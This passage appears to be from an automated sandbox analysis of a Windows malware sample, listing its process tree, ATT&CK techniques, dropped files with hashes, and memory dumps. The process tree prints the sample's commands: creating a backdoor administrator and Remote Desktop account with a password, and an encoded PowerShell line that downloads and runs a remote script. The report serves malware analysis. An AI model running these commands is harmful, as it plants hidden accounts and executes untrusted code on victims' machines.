    3⤵
    PID:4064

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" FSHLRPTB$ /ADD
1⤵
PID:4364
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" FSHLRPTB$ /ADD
  2⤵
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" FSHLRPTB$ /ADD
    3⤵
    PID:544

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:4984
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1032
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:4008

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 57sIYaoz
1⤵
PID:3668
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 57sIYaoz
  2⤵
  PID:400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 57sIYaoz
    3⤵
    PID:4156

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2220
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3084

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3696
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4068

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:4492
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:616

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Web Service

T1102

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
54KB

MD5
5f612d9087b8bcadb4002e6b026990e8

SHA1
b5f343e569abb0849c06e3d77d00cc1bd2d5f589

SHA256
838be164025509d2c4dd005aabf7bbca522b703e931d9c21fb287b5f06178450

SHA512
d5e3e0eeb9b4d3f7ceeba19bc83669258d77d6f973e90049d8cb2796e3f0f6502209e1863ba0a0c7d69b1cc3c0a43e74b9efd0557854ac349f3ffc51d6ea1c59

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESD72B.tmp

Filesize
1KB

MD5
d69ef80b802dd0ccadbf06bb622a0ab2

SHA1
267b102e9842e39fa66bbb2373ae1556c6ebd6b2

SHA256
472b248687cb6ca527121feeddc81c0828e31f1b1674736bf6b04257d7d3bfe7

SHA512
c2d8dfaa0af6b27aa0eb636c6a6af76ab38368a9ddc791ee858d169481ccdf74880229ca9e4f237fe2f5da49606894da1a86b8780c5bb0882ed1bc7de92d7120

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-points.ps1

Filesize
3.0MB

MD5
fcfe7074bc99ba0617df95368adfdc45

SHA1
a3bd74b18730ee8d3c13b3ef7494e7eec37ee776

SHA256
5dfa18266f82dffe71977a6b2666535ead5d44e195bd5df24ba8db7e8b3df7f5

SHA512
bfc9d9b0dc0a070e99b597910301fa448784ec7f0130969de9ab7e208988159d9f9c6c805f1c458b211d7f90a37c51e958c675017e7434b39b006b066967bda9

Download Submit
C:\Users\Admin\AppData\Local\Temp\wieotjl5\wieotjl5.dll

Filesize
3KB

MD5
2b53b3b5755b30afc658d9a5100716f6

SHA1
7dd452a7734fdf3a37276e0aad9c25a97d888ef2

SHA256
373a89ea2dd3bb426a8db072f2bdd63bb99bafcacbc466d1a9cc6b81a19a0819

SHA512
acdcb481315574716e98e18a226b1e00c0ee5e21dda0ef3d13a9fa84fd7a97503e70ed60375b83ae4b86d6b6656d1611bd130ee61ee1c0ee65d3e4374519b0ee

Download Submit
C:\Windows\Branding\mediasrv.png

Filesize
54KB

MD5
9c9001024aed79d5bc65a1edc72b1b1f

SHA1
df25df446a1cda1d986e4c5cc2e760d57c3f0160

SHA256
dd3450809b19d038539359c93252244295f7d1010c1551bafc1afe1d7e772813

SHA512
7056816f9559d160dbef03beb947621ed85a69716e3124f532a565d3d1658643d7eae129f7c348f352653f08bb23a10cf4170e696d2812986b57bd1d79205a15

Download Submit
C:\Windows\Branding\mediasvc.png

Filesize
947KB

MD5
5cb4fcd667ee7d72519f95c6945c8fcf

SHA1
b6bf0186ded8b93e03658a902ba3a9e70b842bbe

SHA256
367be4b1e352daadacd2bb301adc2ee111f853353c77f092c565c405f688061a

SHA512
a8f953ee36387f71bfe84c7e9be86091ca358dd32a1c8e894008cfe93bd84b8190f21e08123baff1392193ed8917c45e8075ca8a10cef6b8fbba68aab281df6e

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wieotjl5\CSC4FBAACC7B3184DC0B8DF53C0687B77.TMP

Filesize
652B

MD5
f74970a0155348f88557f7e8dc3cf75d

SHA1
d5d926ed2240172a5a7ce1c55d1baac6a508be90

SHA256
b4cb6b780d41b86e75e80dce16d912c040d60b4e74f0c300c3a08fec6019b7ff

SHA512
f69fd8d5b11bf5396dc32ec5b184d3289db21e2bf89ae7244906a960b171e55f023ca83062d9a664e71e49f62dda1221f1964662c2e5a2f27015aab54126fa19

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wieotjl5\wieotjl5.0.cs

Filesize
504B

MD5
8e55cb0ca998472ab6d3e295e0c4dd50

SHA1
407d07a29b89fc3afc246c0680d5857e3f51019d

SHA256
63e03eacae29a0d2187103f57a01a5e92ecb3b83a0452e05926303ab57a86685

SHA512
c51982ecdad9a366544cfb68a52808f6a54ed45c1e5b384c0ac5354fe713c18a16c90ee57e0d018caad02f7f293677c62f4c8a9a51bdea143f3afe593172bd28

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wieotjl5\wieotjl5.cmdline

Filesize
369B

MD5
0d9b23552bfc0cf2edf35919c975f552

SHA1
69744e3f1e261996027493df90e20e2b755b0206

SHA256
5801acc8f826a134098a8d4f4641a6996483e6348fcaf7690c9601c049e26e56

SHA512
7982230e46c6a736acfe3867cb9a98167d73c58afa13711520e69656700a69392400ab7c4b7aaa5ae5dff17a9bfd961667d7963fa3dadb82d375ea3601e231a7

Download Submit
memory/616-193-0x00007FF923880000-0x00007FF924341000-memory.dmp

Filesize
10.8MB

Download
memory/800-149-0x00007FF923880000-0x00007FF924341000-memory.dmp

Filesize
10.8MB

Download
memory/1480-145-0x00007FF923880000-0x00007FF924341000-memory.dmp

Filesize
10.8MB

Download
memory/4844-142-0x000001D460330000-0x000001D4604A6000-memory.dmp

Filesize
1.5MB

Download
memory/4844-143-0x000001D4606C0000-0x000001D4608CA000-memory.dmp

Filesize
2.0MB

Download
memory/4844-133-0x00007FF923880000-0x00007FF924341000-memory.dmp

Filesize
10.8MB

Download
memory/4844-132-0x000001D458090000-0x000001D4580D4000-memory.dmp

Filesize
272KB

Download
memory/4844-131-0x000001D457B70000-0x000001D457B92000-memory.dmp

Filesize
136KB

Download
memory/4844-196-0x000001D458160000-0x000001D4581D6000-memory.dmp

Filesize
472KB

Download
memory/5096-148-0x00007FF923880000-0x00007FF924341000-memory.dmp

Filesize
10.8MB

Download